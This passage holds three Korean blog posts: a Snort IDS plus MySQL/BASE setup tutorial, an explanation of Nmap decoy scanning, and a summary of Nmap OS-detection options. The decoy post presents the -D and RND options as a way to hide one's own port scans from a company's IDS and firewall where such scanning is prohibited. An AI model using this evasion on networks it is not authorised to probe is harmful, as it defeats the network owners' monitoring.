이 명령어는 오픈되어있는 포트가 있어야 로그가 생성되므로 ssh를 깔아준다.
# apt-get install ssh

XMAS스캔에 관련된 로그메세지가 나오면 당신의 침입탐지시스템은 작동완료!

이제 mysql로 웹에 뿌려줘서 가독성을 높이자.
# apt-get install mysql-server

snort.conf파일을 연다.
# gedit /etc/snort/snort.conf

gedit에서 다음의 명령어들을 적절하게 수정해준다.
output log_tcpdump: tcpdump.log
output database: log, mysql, user=snort password=snort_password dbname=snort host=localhost

mysql로 접속해서 데이타베이스를 생성해준다.
# mysql -u root
# set password for root@localhost=password('본인패스워드생성');
# create database snort;
# grant insert,select on root.* to snort@localhost;
# set password for snort@localhost=password('PASSWORD_SNORT_CONF');
# grant create,delete,insert,select,update on snort.* to snort@localhost;
# grant create,delete,insert,select,update on snort.* to snort;
# exit


Snort 테이블환경을 설정한다.
# gunzip /usr/share/doc/snort-mysql/create_mysql.gz
mysql -u root -p < /usr/share/doc/snort-mysql/create_mysql snort


Snort를 다시 시작한다.
# /etc/init.d/snort restart

Base 시스템을 위해서 다음을 설치해준다
# apt-get install apache2 php5-mysql libphp-adodb

http://base.secureideas.net/ 에서 최신버전을 받아서 풀고 옮겨준다. 설치는 필요하지 않다.
# tar -xvzf /home/username/Desktop/base-1.3.6.tar.gz
# mv base-1.3.6 /var/www/base


복사후 약간의 수정을 거쳐준다.
# cd /var/www/base
# cp base_conf.php.dist base_conf.php
# gedit base_conf.php


base_conf.php에서 다음과 같게 혹은 본인의 설정에 맞게 바꿔준다.
# $Base_urlpath = “/base”
# $Dblib_path = “/usr/share/adodb/”;
# $alert_dbname = 'snort';
# $alert_password = 'SNORT_PASSWORD';


아파치를 다시 실행하고 웹브라우저에서 localhost/base를 확인한다.
/etc/init.d/apache2 restart

Base AG를 클릭해서 설치를 완료한다. 이것으로 모든 작업은 끝이다. 추가로 그래픽적인 면을 높이기 위해 다음을 설치한다.
# apt-get install php5-gd php-pear
# pear install Image_Color
# pear install Image_Canvas-alpha
# pear install Image_Graph-alpha


아파치를 재 실행한다.
# /etc/init.d/apache2 restart

추가로 내부사용자들의 포트스캔을 로그화하지 않으려면 다음의 명령어를 /etc/snort/threshold.conf에 삽입한다.
# suppress gen_id 1 sig_id 2466, track by_src, ip 192.168.1.0/24

이제 Snort를 즐기세요!!!
사용자 삽입 이미지


원문출처:http://ubuntuforums.org/showthread.php?t=483488
Posted by 구텐모르겐
IT 이야기2010. 12. 8. 02:01


예전에도 설명한 적이 있는 기능인데 사용하다 보니 정말 유용한 기능인듯하여 다시 한번 소개하고자 한다.

네트웍을 탐색하다 보면 IDS에 본인의 기록이 고스란히 남게 되고 정말 잘 세팅되어있는 IT부서에서 심각한 메일을 받아보게 될 것이다. 보통의 회사들이 네트웤 스캔이 금지되어 있고 굳이 IDS뿐만 아니라 방화벽에서 조차 마구잡이적인 (NMap사용자들은 아마 마구잡이로 사용하지 않을까 생각된다 ㅋ) 포트스캔은 발각되기 쉬운 행동이다.

기본적으로 -D 옵션으로 본인의 아이피를 막을 수 있다. -D me 혹은 -D localhost 와 같은 컴멘드로 가능하다. 하지만 이러한 소스코드를 안보이게 하는거 조차 룰이 잘 짜여진 방화벽이나 IDS는 찾아내거나 차단할 수 있다. 특히나 내부에서의 스캔이라면 심각한 메일을 받고자 하지 않는다면 조심해야 할 덕목(!)이다.

그래서 사용되는 추가적인 항목이 RND가 있다. RND:<숫자> 이렇게 하면 숫자만큼의 랜덤한 아이피가 생성되므로 그대는 인비져블!

사용자 삽입 이미지


그림에서 보면 73.* 로 시작하는 랜덤한 아이피가 생성된것을 볼 수 있다. 그런데 vmware로 해서 테스트를 해서 그런지 패킷이 중복되서 날라가는데 이건 왜 그러는지 연구대상이다.

아래는 nmap.org의 원문이다. 참고하기 바란다.

-D [,][,ME][,...] (Cloak a scan with decoys)

Causes a decoy scan to be performed, which makes it appear to the remote host that the host(s) you specify as decoys are scanning the target network too. Thus their IDS might report 5–10 port scans from unique IP addresses, but they won't know which IP was scanning them and which were innocent decoys. While this can be defeated through router path tracing, response-dropping, and other active mechanisms, it is generally an effective technique for hiding your IP address.

Separate each decoy host with commas, and you can optionally use ME as one of the decoys to represent the position for your real IP address. If you put ME in the sixth position or later, some common port scan detectors (such as Solar Designer's excellent Scanlogd) are unlikely to show your IP address at all. If you don't use ME, Nmap will put you in a random position. You can also use RND to generate a random, non-reserved IP address, or RND: to generate addresses.

Note that the hosts you use as decoys should be up or you might accidentally SYN flood your targets. Also it will be pretty easy to determine which host is scanning if only one is actually up on the network. You might want to use IP addresses instead of names (so the decoy networks don't see you in their nameserver logs).

Decoys are used both in the initial ping scan (using ICMP, SYN, ACK, or whatever) and during the actual port scanning phase. Decoys are also used during remote OS detection (-O). Decoys do not work with version detection or TCP connect scan. When a scan delay is in effect, the delay is enforced between each batch of spoofed probes, not between each individual probe. Because decoys are sent as a batch all at once, they may temporarily violate congestion control limits.

It is worth noting that using too many decoys may slow your scan and potentially even make it less accurate. Also, some ISPs will filter out your spoofed packets, but many do not restrict spoofed IP packets at all.

Posted by 구텐모르겐
IT 이야기2009. 11. 10. 23:29
Nmap의 가장 잘 알려진 기능중의 하나는 TCP/IP stack fingerprinting을 이용한 OS의 탐지다. Nmap은 여러개의 TCP와 UDP패킷ㅇ르 보내면서 그 응답을 시험하게 된다. TCP ISN 샘플링, IP ID 샘플링 그리고 TCP ISN 샘플링 등 수십가지의 결과물을 nmap-os-db와 비교하게 된다. 응답들에는 OS에 대한 설명이 포함되어 있고 화사이름, OS, OS버전, 장비이름등을 알아낼 수 있게 된다.

만약 Nmap이 OS를 탐지하지 못할때는 대안으로 당신의 결과물을 nmap으로 보낼수 있는 주소를 출력받는다. 이럼으로 당신은 OS의 탐지하는 지식풀에 일조할수 있는 것이고 Nmap을 사용하는 모든 이들에게 일조하게 되는 것이다.

OS탐지는 얻어진 정볼르 통해 몇가지 테스트를 수행할 수 있다. 그중의 하나가 TCP 순서예측분류(Sqeuence Prediction Classification)이다. 이를 통해 타겟호스트에 거짓 TCP연결의 가능성 정도를 측정할 수 있다. 이것은 rlogin,firewall filter등과 같은 원본 IP 위주의 연결형태나 공격자의 소스를 감추는데 사용될 수 있다. 이런 형태의 위장은 더이상 사용되지 않지만 아직도 많은 장비들은 위의 공격에 취약하다. 영어로는 "worthy challenge" 혹은 "trivial joke"등과 같이 불리는데 이것은 기본적인 결과물을 제공한다. 대부분의 장비들은 ID필드의 값을 하나씩 증가시키면서 스캔하게 된다.

추가적으로 OS의 업타임을 탐지하는 것이다. 이것은 RFC 1323문서를 이용한 것으로 TCP 타임스탬프가 언제 재부팅되었나를 보는것이다. 하지만 때론 실제와 다른 타임스탬프를 도출하기도 한다.

OS 탐지는 다음과 같은 옵션을 가진다.

-O (OS탐지) : OS탐지를 가능하게 해주고 -A를 통해 다른 옵션과 함께 사용 가능하다.

--osscan-limit (OS탐지를 지정된 타겟에 한정) : OS탐지는 하나의 open포트와 closed포토가 있을때 훨씬 효과적이다. 이 옵션의 설정으로 해당 옵션의 설정과 맞지 않는 타겟은 생략되게 되고 이를 통해 많은 시간을 절약할 수 있다.

--osscan-guess; --fuzzy (OS탐지 결과의 예측) : OS를 예측할 수 없을때 가능성에 대한 결과를 나타낸다. 이를 통해 좀더 공격적으로 호스트를 스캔하게 되고 불확실한 결과물과 함께 신용도도 나타내게 된다.

--max-os-tries (타겟에 대한 OS매치 갯수 지정) : 기본적으로 매치에 실패한 후에도 같은 검색이 5번 계속 이루어지는데 1로 지정해 줄경우 Nmap의 스캔속도를 향상시킨다. 물론 이로 인해 탐지해 낼수 있는 확률은 떨어지게 된다.

원문링크: http://nmap.org/book/man-os-detection.html
Posted by 구텐모르겐